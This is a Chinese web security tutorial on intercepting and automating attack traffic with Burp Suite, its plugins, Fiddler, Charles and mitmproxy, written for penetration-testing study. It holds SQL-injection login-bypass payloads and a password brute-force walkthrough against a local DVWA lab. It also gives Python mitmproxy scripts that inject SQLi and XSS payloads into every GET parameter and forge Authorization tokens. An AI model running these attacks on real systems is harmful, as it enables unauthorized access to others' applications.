关于Web安全:8. Web 攻击流量分析与自动化

发布于:2025-06-07 ⋅ 阅读:(16) ⋅ 点赞:(0)

一、BurpSuite 基础与高级使用

Burp Suite 是一款中间人攻击代理工具,核心作用是在客户端(浏览器)与服务器之间“插一脚”,拦截一切 HTTP/HTTPS 流量,从而修改、重放、注入或自动化分析。

它不仅是抓包工具,还是渗透测试平台,适合用来:

  • 权限绕过

  • Web风险点利用

  • 脚本注入调试

  • 自动化攻击编排

1.1 Burp Suite 基础模块详解

1)Proxy(代理模块)——抓包与拦截的起点

功能:

  • 拦截浏览器与服务器之间的请求/响应

  • 可对请求参数、响应内容进行修改

使用步骤:

  1. 设置浏览器 HTTP 代理为 127.0.0.1:8080

  2. 开启 Burp -> Proxy -> Intercept is ON

  3. 拦截任意请求 → 修改后点击 Forward 放行

  4. 若不想中断,可设置 Intercept is OFF

实战应用:

  • 拦截登录请求,修改密码字段绕过验证

  • 删除前端传入的 isAdmin=false 字段

  • 手动构造数据包测试 API 行为

2)HTTP history(请求历史)——复盘与分析

  • 记录所有经过代理的请求和响应

  • 支持条件过滤(如 Method、URL、Status)

实战用途:

  • 查找是否有敏感接口被调用

  • 分析页面加载过程中的静态资源/API 请求

  • 检查 Token 变化与重定向逻辑

3)Repeater(请求重放)——测试点单步调试器

  • 可重复发送修改后的请求

  • 实时查看响应差异

使用方式:

右键请求 → Send to Repeater → 修改 → Send → 查看响应

实战场景:

  • 修改参数测试 SQLi/XSS 是否触发

  • 重放登录请求,构造越权访问

  • 验证某个 Cookie 是否控制权限

4)Intruder(爆破/模糊测试)——自动打 payload 的引擎

用于将 payload 注入指定位置进行批量测试,支持 4 种攻击方式:

模式 说明
Sniper 单点爆破,适合单参数
Battering ram 所有位置使用同一个 payload
Pitchfork 多参数并行使用不同 payload
Cluster bomb 多参数组合爆破(笛卡尔积)

实战用法:

  • 登录爆破(用户名/密码字典)

  • 参数 fuzz 测试(XSS payload、SQL 注入)

  • 利用响应长度/内容判断成功与否

5)Decoder(编码解码器)——还原隐藏信息的工具

  • 支持 base64、URL 编码、HTML 编码等

  • 可多次嵌套编码或解码

实战例子:

  • 解密加密参数分析加密结构

  • 构造多层编码 XSS payload 绕过过滤

  • 还原 URL 参数还原真实意图

6)Comparer(差异对比器)

用于对比两个请求或响应,找出字节级别或词级别差异。

1.2 Burp Suite 高级使用详解

1)自动化爬虫(Crawler)——自动遍历整个站点

位置:Dashboard > Crawl and Audit(Pro 版)

  • 自动抓取所有页面、表单、JS 路由等

  • 可结合自动化风险点扫描器

使用技巧:

  • 先设置 Scope,防止越权抓取

  • 登录后再启动爬虫,抓取授权区域

  • 可结合 session rule 保持登录状态

2)Scope(作用范围)——设定目标边界

避免爬虫/拦截干扰第三方域名(如 CDN、支付接口)

操作:Target > Scope > Add 添加目标站点域名

3)Macros + Session Handling Rules(自动登录维持)——保持攻击不中断

  • 定义 Macro 自动重登录(抓包 -> 构建登录流程)

  • 设置 Rule,失效自动触发 Macro

典型用途:

  • 防止登录态过期

  • 自动化扫描 + 爆破时无缝保持会话

4)插件扩展(Burp Extender)——功能无限放大器

支持 Java、Jython、Python 插件扩展,可加载:

  • 官方 BApp Store 插件

  • 自定义逻辑脚本

常用插件(详细讲解见下节):

  • Autorize(越权检测)

  • Hackvertor(动态编码)

  • Reflector(快速发现反射点)

  • Logger++(高级日志记录)

5)被动扫描 + 主动扫描(Pro 专享)——自动找洞神器

自动发现 XSS、SQLi、CSRF 等风险点

  • 被动扫描:只分析已发送的请求

  • 主动扫描:构造 payload 测试是否存在风险点

1.3 Burp Suite 的实战操作案例

案例 1:使用 Burp 拦截 + 重放 DVWA 登录请求(手动尝试绕过)

目标:

  • 使用 Burp 拦截登录请求,分析参数结构

  • 使用 Repeater 重放登录请求,尝试构造注入绕过登录

准备:

  • DVWA 安装好并启动

  • 浏览器设置代理为 127.0.0.1:8080

  • Burp Suite 启动并开启拦截(Proxy → Intercept → ON)

步骤详解:

Step 1:登录 DVWA,触发拦截

  1. 打开浏览器,进入 http://localhost/DVWA/login.php

  2. 输入任意用户名密码(如 admin / admin)

  3. 点击“Login”后,Burp Suite 会拦截该请求

此时请求应如下:

POST /DVWA/login.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: ...

username=admin&password=admin&Login=Login

Step 2:观察请求参数结构

你会看到三个参数:

  • username:用户名

  • password:密码

  • Login:按钮值

Step 3:修改参数尝试 SQL 注入绕过

  • username 修改为:admin'--

  • password 留空或随便填

  • 点击 Forward 放行请求

请求变为:

username=admin'-- &password=test&Login=Login

Step 4:观察响应结果(是否登录成功)

  • 如果 DVWA 安全级别为 Low,你会发现直接跳转到首页(index.php),说明登录成功。

  • 如果未成功,请尝试其他 payload:

    • admin'#

    • admin' OR '1'='1

Step 5:发送请求到 Repeater,便于反复测试

  • 在 Proxy 中右键请求 → Send to Repeater

  • 转到 Repeater 面板

  • 修改参数,不断尝试绕过

  • 点击 Send → 查看响应

案例 2:使用 Burp Intruder 对登录页面进行密码爆破

目标:

使用 Intruder 模块对 DVWA 登录页面进行弱口令爆破(如 admin/123456

准备:

  • DVWA 环境打开,设置安全等级为 Low

  • 浏览器登录页面输入用户名 + 任意密码 → 触发请求并在 Burp 中拦截

步骤详解:

Step 1:抓取一次正常登录请求

  • 在登录页面填写:

    • 用户名:admin

    • 密码:xxx

  • 拦截请求如下:

POST /DVWA/login.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

username=admin&password=xxx&Login=Login

Step 2:将请求发送到 Intruder

  • 右键 → Send to Intruder

  • 转到 Intruder 标签页

Step 3:设置爆破位置

  • 清除自动标记的 payload

  • 手动选择 xxx(密码字段) → 点击 “Add”

  • 设置攻击类型为:Sniper(只爆破一个点)

Step 4:导入爆破字典

  • 点击 “Payloads” 标签页

  • 选择 Payload set: 1

  • 载入字典(可使用常见弱口令,如:123456, admin123, password, letmein)

示例手动输入:

123456
admin123
password
letmein
123123

Step 5:开始攻击

  • 点击 “Start attack”

  • 查看响应结果差异(可关注 Status、Length、Response)

观察:

  • 有些请求返回长度不一样,或响应中出现 Welcome 等关键词,说明爆破成功!


二、BurpSuite 插件系统

2.1 [Autorize] —— 自动化越权测试神器

作用:Autorize 用于检测 权限控制不严导致的越权访问风险点。比如:

  • 普通用户能访问管理员接口

  • 未登录状态可以访问已登录用户接口

典型场景:

  1. 你已经抓到了某个已登录请求

  2. 想知道如果换成另一个用户或未登录状态,是否还可以访问

使用流程:

Step 1:安装插件

  • Burp → ExtenderBApp Store → 安装 Autorize

Step 2:配置测试账号的 Cookie

  • 登录正常账号,复制 Cookie(或完整 Header)

  • 在插件面板中粘贴进:

    • “Your original request cookies/header”

  • 然后清除 Cookie(或登录其他角色)

Step 3:监听目标请求

  • 在 Burp 的 Proxy / Repeater 中抓取需要测试权限的请求

  • 右键 → Send to Autorize

Step 4:查看结果

插件会对这些请求使用原始身份、无身份、新身份依次测试,并返回:

  •  Access Control enforced(权限检查正常)

  •  Access Control Bypassed(权限绕过成功)

注意:

  • 支持 POST/GET/JSON 等请求格式

  • 可配合 Scope 限定检测范围

2.2 [Hackvertor] —— 编码解码 + Payload 编排插件

作用:Hackvertor 是 Burp 中最强大的 数据转换插件,用于自动:

  • 编码 / 解码(HTML、JS、Base64、Hex)

  • 加密 / 解密

  • 组合 Payload 链(绕过前端过滤)

使用流程:

Step 1:安装插件

  • Burp → ExtenderBApp Store → 安装 Hackvertor

Step 2:使用语法转义

  • 可以在 Repeater 或 Intruder 参数中直接使用 Hackvertor 标记:

§username§=admin&password=§H[base64]§password123§H[end]§

这个请求发送时会自动将 password123 转为 base64。

常见用途:

用途 Hackvertor 语法
Base64 编码 H[base64]dataH[end]
URL 编码 H[urle]dataH[end]
Unicode 编码 H[unicode]dataH[end]
HTML 编码 H[html]dataH[end]
多层嵌套 H[base64]H[urle]xss_payloadH[end]H[end]

实战场景:

  • 绕过前端 JS 检查或 WAF 过滤

  • 构造多层编码 payload(如 base64 + unicode + html)

  • 联合 Intruder 自动 Fuzz 编码组合攻击

2.3 [JS Miner] —— 提取 JavaScript 中的有用信息

作用:JS Miner 会自动提取目标网站 JavaScript 中的:

  • API 接口

  • 参数名

  • 密钥/Token

  • 正则规则

  • 敏感关键词

使用流程:

Step 1:安装插件

  • Burp → ExtenderBApp Store → 安装 JS Miner

Step 2:访问目标网站

  • Burp 自动监听所有加载的 JS 文件

  • JS Miner 会自动分析其中内容

Step 3:查看分析结果

  • JS Miner 标签下查看所有提取内容:

    • API endpoints

    • JWT / API keys

    • Variables

    • Regex Patterns

实战用途:

目标 用法
提取隐藏接口 分析 JS 脚本中定义的接口路径
识别参数名 用于构造请求
获取 token 某些 APP/WAF 在 JS 中藏有签名密钥
找到行为特征 抓取正则验证逻辑,辅助绕过验证

注意事项:

  • 适用于大型 Web 应用,尤其是 SPA 或 React/Vue 应用

  • 可配合 Spider / Crawler 抓取所有 JS 文件

2.4 [Reflector] —— 自动检测反射点(XSS 助攻神器)

作用:Reflector 可以自动标记请求中哪些参数值被服务器 “原样返回” 到了响应页面中,是 XSS 的重要前置判断。

使用流程:

Step 1:安装插件

  • Burp → ExtenderBApp Store → 安装 Reflector

Step 2:抓包测试

  • 抓取一个包含参数的请求(比如 q=abc

  • Burp 会自动检测 abc 是否在响应中原样出现

Step 3:查看高亮

  • Reflector 自动高亮哪些参数被反射

  • 如果 abc 出现在 HTML、JS、URL 中 → 有 XSS 可能

实战用途:

功能 用法
辅助 XSS 快速定位反射参数
识别响应点 判断 payload 该注入哪
和 Intruder 联动 用于 Fuzz 所有参数是否会反射回页面

示例:

输入请求:

GET /search?q=test123

页面响应中出现:

<h1>You searched for test123</h1>

→ Reflector 会高亮这个参数,标记为 潜在反射点

2.5 小结

插件名 作用 实战用途
Autorize 权限绕过检测 检测未授权访问、权限控制失效
Hackvertor 编码/混淆 payload 绕过 WAF、组合攻击链
JS Miner 提取 JS 中信息 接口/密钥发现、参数识别
Reflector 自动检测反射点 辅助 XSS 检测、快速定位反射参数

三、Fiddler / Charles

工具 系统 优势 劣势
Fiddler Windows(主打),mac 有旧版 功能全、强大、脚本扩展多、免费 UI 旧、不太适合 mac
Charles macOS 和 Windows 稳定、UI 美观、适合抓 APP 收费、功能略弱

两者本质都是:HTTP/HTTPS 代理工具

3.1 核心原理

代理模式 + SSL 中间人 + 请求/响应可视化 + 修改重发

  • 本地启动一个 HTTP 代理服务(如 127.0.0.1:8888)

  • 浏览器或手机设置为通过代理访问网络

  • 工具截获请求并解密(HTTPS 需安装自签证书)

  • 展示请求头、响应、正文、Cookie、参数等

  • 可修改后重放请求(如用于测试接口、绕过验证)

3.2 Fiddler 基础使用

1)安装和设置

  • 下载地址:https://www.telerik.com/fiddler

  • 安装后打开,默认监听 127.0.0.1:8888

2)设置浏览器代理

  • 浏览器手动设置为使用 Fiddler 代理 127.0.0.1:8888

  • 或使用自动配置(Fiddler 自动修改系统代理)

3)启用 HTTPS 解密

  • 打开菜单 Tools → Options → HTTPS

  • 勾选 Decrypt HTTPS traffic

  • 安装证书(默认只对浏览器有效)

4)抓包界面介绍

区域 内容
左侧列表 所有请求记录(按时间)
右侧 Inspector 请求/响应内容(Headers、Raw、JSON 等)
Composer 自定义请求(构造接口测试)
AutoResponder 自动响应自定义内容(适合绕过验证)

5)手机抓包配置(以安卓为例)

  • 手机和电脑连接同一局域网

  • 手机代理设为电脑 IP + 8888 端口

  • 访问 http://电脑IP:8888 安装 Fiddler 证书

  • 安卓 7+ 要安装证书到系统信任(需 Root 或 Magisk 模块)

6)常见功能使用

  • 过滤器(Filter):只显示某个域名请求

  • 重放请求(Replay):右键某个请求 → Replay → Reissue Request

  • 修改请求参数:点击 Composer → 粘贴请求 → 修改参数发起

7)实战用途

场景 说明
抓取 APP 接口 配置手机代理后抓包分析接口参数
登录分析 拿到 token、cookie 模拟登录
自动化爬虫 配合 Python/JS 重复请求接口
绕过前端限制 直接发起构造好的请求绕过 JS 验证
替换参数 自定义 payload 测试 SQL/XSS/命令注入

3.3 Charles 基础使用

1)下载与安装

2)配置代理

  • 启动 Charles 默认监听 127.0.0.1:8888

  • 浏览器设置为代理即可抓包

  • 打开 Proxy → macOS Proxy 一键开启/关闭代理

3)HTTPS 抓包配置

  • Help → SSL Proxying → Install Charles Root Certificate

  • 导入后 → 信任该证书(系统 → 钥匙串 → 永久信任)

4)手机抓包

  • 手机与电脑同一 Wi-Fi

  • 手机代理设置为电脑 IP + 8888

  • 手机访问 http://charlesproxy.com/getssl 安装证书

  • 手动信任证书(安卓高版本需 Root)

5)实战功能

功能 描述
Structure / Sequence 显示按域名或时间排序请求
Request → Edit & Resend 修改请求参数,测试接口
Breakpoints 手动中断请求修改后再发
Map Local 替换远程文件为本地文件(如替换 JS)
Throttle 模拟网络延迟、丢包等

3.4 对比总结

功能 Fiddler Charles
系统适配 Windows 更强 mac 更方便
HTTPS 抓包 稳定但略麻烦 一键配置
APP 抓包 支持 支持
本地替换文件 插件支持 Map Local 很方便
编程扩展 支持 C#/脚本 较弱
UI 偏工程化 更直观

四、Mitmproxy + Python 自动攻击脚本编写

4.1 Mitmproxy 简介

  • Mitmproxy 是一个开源的、基于命令行的 HTTPS 代理工具,支持实时拦截、修改 HTTP/HTTPS 流量。

  • 其核心优势是支持用 Python 脚本(addons) 实现自动化处理:拦截、篡改请求和响应,自动注入攻击 payload,快速测试风险点。

  • 适合自动化测试、渗透测试、调试 API、自动绕过防护。

4.2 Mitmproxy 安装和基本使用

pip install mitmproxy
  • 启动代理(默认端口 8080):
mitmproxy
  • 或无界面模式(更适合自动化):
mitmdump

4.3 Python 脚本(Addon)结构

一个最简单的 Mitmproxy 脚本示例:

from mitmproxy import http

def request(flow: http.HTTPFlow) -> None:
    # 该函数会在每次客户端发出 HTTP 请求时被调用
    if "example.com/api/login" in flow.request.url:
        # 如果请求的 URL 包含指定的接口路径,则进行处理

        # 替换请求体中的内容,把 "password=123" 改为 "password=abc123"
        flow.request.text = flow.request.text.replace("password=123", "password=abc123")
  • 核心函数:
函数名 说明
request(flow) 请求发送前拦截
response(flow) 响应到客户端前拦截
websocket_message(flow) Websocket 消息处理

4.4 自动攻击脚本示范

1)自动注入 SQL 注入 payload 测试所有 GET 请求参数

from mitmproxy import http
from urllib.parse import parse_qs, urlencode, urlsplit, urlunsplit

# SQL 注入 payload,可以根据需要修改
sql_payload = "' OR '1'='1"

def request(flow: http.HTTPFlow) -> None:
    # 仅处理 GET 请求
    if flow.request.method == "GET":
        url_parts = urlsplit(flow.request.url)              # 拆解 URL 各部分
        query = parse_qs(url_parts.query)                   # 解析 query 参数为字典 {key: [value1, value2]}

        modified = False
        for k in query:
            # 给每一个参数值都追加 SQL 注入 payload
            query[k] = [v + sql_payload for v in query[k]]
            modified = True

        if modified:
            # 重新编码 query 参数
            new_query = urlencode(query, doseq=True)

            # 组装新的 URL
            new_url = urlunsplit((
                url_parts.scheme,
                url_parts.netloc,
                url_parts.path,
                new_query,
                url_parts.fragment
            ))

            # 替换请求中的 URL
            flow.request.url = new_url

            # 控制台输出修改结果
            print(f"[*] Modified URL: {flow.request.url}")

效果: 自动对所有 GET 参数注入经典 SQL 注入测试 payload。

2)自动绕过登录 token 校验,给请求头注入伪造 token

from mitmproxy import http

def request(flow: http.HTTPFlow) -> None:
    # 判断请求 URL 是否包含特定接口路径
    if "api/secure" in flow.request.url:
        # 注入伪造的 Authorization 头部
        flow.request.headers["Authorization"] = "Bearer faketoken123456"
        
        # 控制台打印提示
        print("[*] Injected fake token into Authorization header")

3)自动检测并利用反射型 XSS(简单示范)

from mitmproxy import http

# 定义 XSS 测试 Payload
xss_payload = "<script>alert('xss')</script>"

def request(flow: http.HTTPFlow) -> None:
    # 仅处理 GET 请求,且 URL 中包含参数名 "q="
    if flow.request.method == "GET" and "q=" in flow.request.url:
        # 简单方式:直接拼接 Payload(注:可能会破坏原有参数结构)
        flow.request.url += xss_payload

        # 控制台打印提示
        print(f"[*] Injected XSS payload into {flow.request.url}")

4.5 综合示例:自动扫描 + 自动攻击流程

from mitmproxy import http  # 导入 mitmproxy 的 HTTP 模块
from urllib.parse import parse_qs, urlencode, urlsplit, urlunsplit  # 导入用于解析与重构 URL 的工具函数

# Payload 定义
sql_payload = "' OR '1'='1"  # SQL 注入测试 Payload
xss_payload = "<script>alert('xss')</script>"  # XSS 注入测试 Payload

def request(flow: http.HTTPFlow) -> None:  # 定义请求处理函数,每次请求都会触发
    url = flow.request.url  # 获取当前请求的完整 URL 字符串

    # 分析 URL,仅处理 GET 请求
    if flow.request.method == "GET":  # 如果请求方法是 GET
        url_parts = urlsplit(url)  # 使用 urlsplit 分解 URL,返回 scheme、netloc、path、query、fragment
        query = parse_qs(url_parts.query)  # 解析 query 字符串为字典:{key: [value1, value2]}
        modified = False  # 标记是否进行了参数修改

        for k in query:  # 遍历每一个参数名
            # 注入 SQL payload(拼接到原始值后)
            query[k] = [v + sql_payload for v in query[k]]  # 将每个值后加上 SQL 注入 Payload
            modified = True  # 标记已修改

            # 如果参数名是 q,追加 XSS payload(进一步注入)
            if k == "q":  # 特殊处理参数名为 q 的
                query[k] = [v + xss_payload for v in query[k]]  # 在已注入 SQL 的基础上继续注入 XSS

        # 如果确实修改过参数,则重新构造新的 URL
        if modified:  # 如果参数被修改
            new_query = urlencode(query, doseq=True)  # 重新编码 query 字符串,doseq=True 保留列表参数
            new_url = urlunsplit((url_parts.scheme, url_parts.netloc, url_parts.path, new_query, url_parts.fragment))  
            # 使用修改后的 query 与原始 scheme/netloc/path/fragment 重新组装 URL
            flow.request.url = new_url  # 把新 URL 赋值回 flow 中,覆盖原始请求 URL
            print(f"[*] Injected payloads into URL: {flow.request.url}")  # 打印修改后的 URL 供调试

    # Authorization Header 注入绕过
    if "api/secure" in flow.request.url:  # 如果当前请求 URL 中包含 api/secure(表示需要授权)
        flow.request.headers["Authorization"] = "Bearer faketoken123456"  # 添加/替换请求头中的 Authorization 字段
        print("[*] Injected fake token for auth bypass")  # 打印提示,说明已注入伪造 token

4.6 运行脚本示范

mitmdump -s your_script.py
  • 启动后将自动监听 8080 端口

  • 你配置浏览器或设备代理到 127.0.0.1:8080

  • 所有流量经过脚本自动处理,实现自动攻击

4.7 小结

优点 Mitmproxy + Python
灵活 可用 Python 自定义各种攻击流程
自动化 实现无人工干预的批量攻击与测试
跨平台 Windows、Linux、Mac 都支持
轻量 纯命令行,适合服务器跑脚本